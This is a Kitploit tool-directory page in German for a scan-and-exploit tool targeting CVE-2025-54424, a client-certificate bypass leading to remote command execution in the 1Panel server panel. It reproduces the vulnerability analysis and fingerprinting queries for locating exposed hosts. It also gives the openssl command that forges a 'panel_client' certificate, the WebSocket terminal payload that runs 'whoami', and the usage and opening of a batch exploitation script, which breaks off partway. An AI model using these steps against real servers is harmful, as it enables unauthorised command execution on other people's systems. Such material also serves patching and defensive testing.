Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-54424 — CVE-2025-54424: All-in-One-Tool für die 1Panel-RCE-Schwachstelle durch Umgehung des Client-Zertifikats (Scan + Exploit) | Kitploit
Tools/GitHubGitHub/mr-xn/cve-2025-54424
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-ToolArchived
GitHubmr-xn/cve-2025-54424

CVE-2025-54424

CVE-2025-54424: All-in-One-Tool für die 1Panel-RCE-Schwachstelle durch Umgehung des Client-Zertifikats (Scan + Exploit)

Repository anzeigen
59116vor 1 JahrNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-54424

CVE-2025-54424: Integriertes Tool für die RCE-Schwachstelle durch Client-Zertifikatsumgehung in 1Panel (Scan + Exploit)

Beschreibung der Schwachstelle

1Panel ist ein Open-Source-, modernes Linux-Betriebsverwaltungs-Panel, das eine grafische Oberfläche für die Bereitstellung von Websites, die Verwaltung von Servern und das Ausführen von Diensten bietet.

In den betroffenen Versionen ist die TLS-Authentifizierungsrichtlinie der Agent-Seite auf tls.RequireAnyClientCert gesetzt, die lediglich die Bereitstellung eines Zertifikats verlangt, ohne dessen Vertrauenswürdigkeit zu überprüfen. Ein Angreifer kann die TLS-Überprüfung mithilfe eines selbstsignierten Zertifikats umgehen und das CN-Feld auf panel_client fälschen, um die Überprüfung auf Anwendungsebene zu umgehen. Letztendlich kann der Angreifer mit einem gefälschten Zertifikat nicht autorisierte Aufrufe der Schnittstelle zur Befehlsausführung durchführen, was zu einer Schwachstelle für die Remote-Befehlsausführung führt.

Betroffene Versionen

<= v2.0.5

Suchsyntax (Fingerprinting)

Die Suchabfragen für hunter und fofa lauten wie folgt:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Schwachstellenanalyse

Kopie des Abschnitts der GitHub-Sicherheitsmitteilung

  • Zunächst werden die Konzepte der Core- und Agent-Seite von 1Panel v2 eingeführt. Nach der Veröffentlichung der neuen Version hat 1Panel eine Knotenverwaltungsfunktion hinzugefügt, mit der andere Hosts über das Hinzufügen von Knoten gesteuert werden können.
  • Da das für die Kommunikation zwischen Core- und Agent-Seite verwendete HTTPS-Protokoll bei der Zertifikatsprüfung die Echtheit des Zertifikats nicht vollständig überprüft, sind die Schnittstellen nicht autorisiert. Da es in 1Panel zahlreiche Schnittstellen zur Befehlsausführung oder mit hohen Berechtigungen gibt, führt dies zu RCE.

Prozess des Code-Audits

  1. Zunächst wechseln wir zur HTTP-Routing-Datei der Agent-Seite agent/init/router/router.go

  1. Es zeigt sich, dass die Funktion Routers die Funktion Certificate für eine globale Überprüfung referenziert: agent/middleware/certificate.go

  1. Es zeigt sich, dass die Funktion Certificate über c.Request.TLS.HandshakeComplete prüft, ob eine Zertifikatskommunikation stattgefunden hat.

  1. Der Wahrheitswert von c.Request.TLS.HandshakeComplete wird über tls.RequireAnyClientCert in der Funktion Start der Datei agent/server/server.go bestimmt.

Hinweis: Da hier tls.RequireAnyClientCert anstelle von tls.RequireAndVerifyClientCert verwendet wird, verlangt tls.RequireAnyClientCert lediglich, dass der Client ein Zertifikat bereitstellt, ohne die ausstellende CA des Zertifikats zu überprüfen. Daher kann jedes selbstsignierte Zertifikat den TLS-Handshake bestehen.

  1. Anschließend werden in der Funktion Certificate weitere Überprüfungen durchlaufen, die nur prüfen, ob das CN-Feld des Zertifikats panel_client lautet, ohne den Aussteller des Zertifikats zu validieren. Schließlich zeigt sich, dass WebSocket-Verbindungen die Proxy-ID-Validierung umgehen können.

  1. Das Projekt enthält zahlreiche WebSocket-Schnittstellen.
  • WebSocket-Schnittstelle für Prozesse (über das oben genannte Problem lassen sich sensible Informationen wie alle Prozesse abrufen) Route: /process/ws Das Anfrageformat lautet wie folgt:
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}

  • WebSocket-Schnittstelle für Terminal-SSH (über das oben genannte Problem können beliebige Befehle ausgeführt werden) Route: /hosts/terminal Das Anfrageformat lautet wie folgt:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码,记住不要忘记回车。
}

  • WebSocket-Schnittstelle für Container-Terminal (Schnittstelle zur Befehlsausführung im Container) Route: /containers/terminal
  • WebSocket-Schnittstelle für Dateidownload-Prozesse (überträgt automatisch Download-Fortschrittsinformationen) Route: /files/wget/process

Reproduktion der Schwachstelle

Manuelle Reproduktion

  1. Zertifikat erzeugen

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Nachdem Burp das erzeugte panel_client.crt und panel_client.key geladen hat, eine WS-Anfrage öffnen, das Ziel festlegen und die Anfrage starten.

Batch-Erkennung

Zur Batch-Erkennung und -Ausnutzung verwenden Sie das von mir entwickelte Skript CVE-2025-54424.py. Die Verwendung des Tools wird im Folgenden beschrieben:

Installieren Sie die benötigten Abhängigkeiten: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Ein Beispiel für Einzelprüfung + Befehlsausführung (interaktive SSH-Befehlsausführung) ist in der folgenden Abbildung dargestellt:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Tool herunterladen